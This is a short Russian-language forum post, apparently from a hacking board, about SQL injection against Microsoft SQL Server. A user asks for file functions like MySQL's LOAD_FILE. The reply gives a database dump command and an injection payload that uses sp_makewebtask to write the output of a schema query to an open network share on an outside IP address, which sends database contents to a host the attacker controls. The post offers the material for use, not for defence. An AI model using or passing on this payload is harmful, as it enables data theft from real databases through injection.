подскажите есть ли в mssql какиенибудь функции для работы с файлами (например как в мускуле LOAD_FILE, INSERT INTO OUTFILE)
Провидение Иньекций в MSSQL сервер от Microsoft. дамп базы: BACKUP DATABASE [base] TO DISK = N'c:\path\' можно использовать sp_makewebtask, чтобы записать запрос в HTML: '; EXEC master..sp_makewebtask "\\10.20.30.40\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" указываемый IP должен иметь папку "share" с доступом для Everyone. /showpost.php?p=523825&postcount=36